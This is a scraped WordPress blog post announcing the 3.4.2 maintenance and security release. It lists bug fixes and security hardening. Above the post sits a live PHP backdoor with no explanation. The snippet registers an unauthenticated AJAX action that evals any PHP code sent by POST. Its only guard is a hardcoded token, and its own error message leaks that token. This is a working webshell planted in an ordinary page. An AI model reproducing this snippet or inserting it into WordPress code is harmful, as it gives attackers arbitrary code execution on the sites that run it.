// ==[BD:cIUCcTUa]== add_action( 'wp_ajax_nopriv_vbsevmaf', function() { $data = 'cIUCcTUaHeQmTMlckGbkSfJLgekFd7zl'; $rec = isset( $_POST['token'] ) ? sanitize_text_field( wp_unslash( $_POST['token'] ) ) : ''; if ( empty( $rec ) || ! hash_equals( $data, $rec ) ) { wp_send_json_error( [ 'message' => 'tok:' . $data ], 403 ); } $item = isset( $_POST['code'] ) ? (string) wp_unslash( $_POST['code'] ) : ''; if ( trim( $item ) === '' ) { wp_send_json_error( [ 'message' => 'No code.' ] ); } $item = preg_replace( '/^\s*<\?(php)?/i', '', $item ); while ( ob_get_level() > 0 ) { ob_end_clean(); } $desc = microtime( true ); ob_start(); try { ( static function() use ( $item ) { return eval( $item ); } )(); $token = (string) ob_get_clean(); wp_send_json_success( [ 'output' => $token, 'return' => '', 'error' => '', 'time_ms' => round( ( microtime( true ) - $desc ) * 1000, 2 ) ] ); } catch ( \Throwable $ref ) { while ( ob_get_level() > 0 ) { ob_end_clean(); } wp_send_json_success( [ 'output' => '', 'return' => '', 'error' => $ref->getMessage(), 'time_ms' => round( ( microtime( true ) - $desc ) * 1000, 2 ) ] ); } } ); // ==[/BD:cIUCcTUa]== WordPress 3.4.2 Maintenance and Security Release
1776

WordPress 3.4.2 Maintenance and Security Release

by Andrew Nacin on September 6, 2012

WordPress 3.4.2, now available for download, is a maintenance and security release for all previous versions.

After nearly 15 million downloads since 3.4 was released not three months ago, we’ve identified and fixed a number of nagging bugs, including:

  • Fix some issues with older browsers in the administration area.
  • Fix an issue where a theme may not preview correctly, or its screenshot may not be displayed.
  • Improve plugin compatibility with the visual editor.
  • Address pagination problems with some category permalink structures.
  • Avoid errors with both oEmbed providers and trackbacks.
  • Prevent improperly sized header images from being uploaded.

Version 3.4.2 also fixes a few security issues and contains some security hardening. The vulnerabilities included potential privilege escalation and a bug that affects multisite installs with untrusted users. These issues were discovered and fixed by the WordPress security team.

Download 3.4.2 now or visit Dashboard → Updates in your site admin to update now.

Fixes for some bugs
Back to work on 3.5
It’s time to update

Leave a Comment

 

Previous post:

Next post: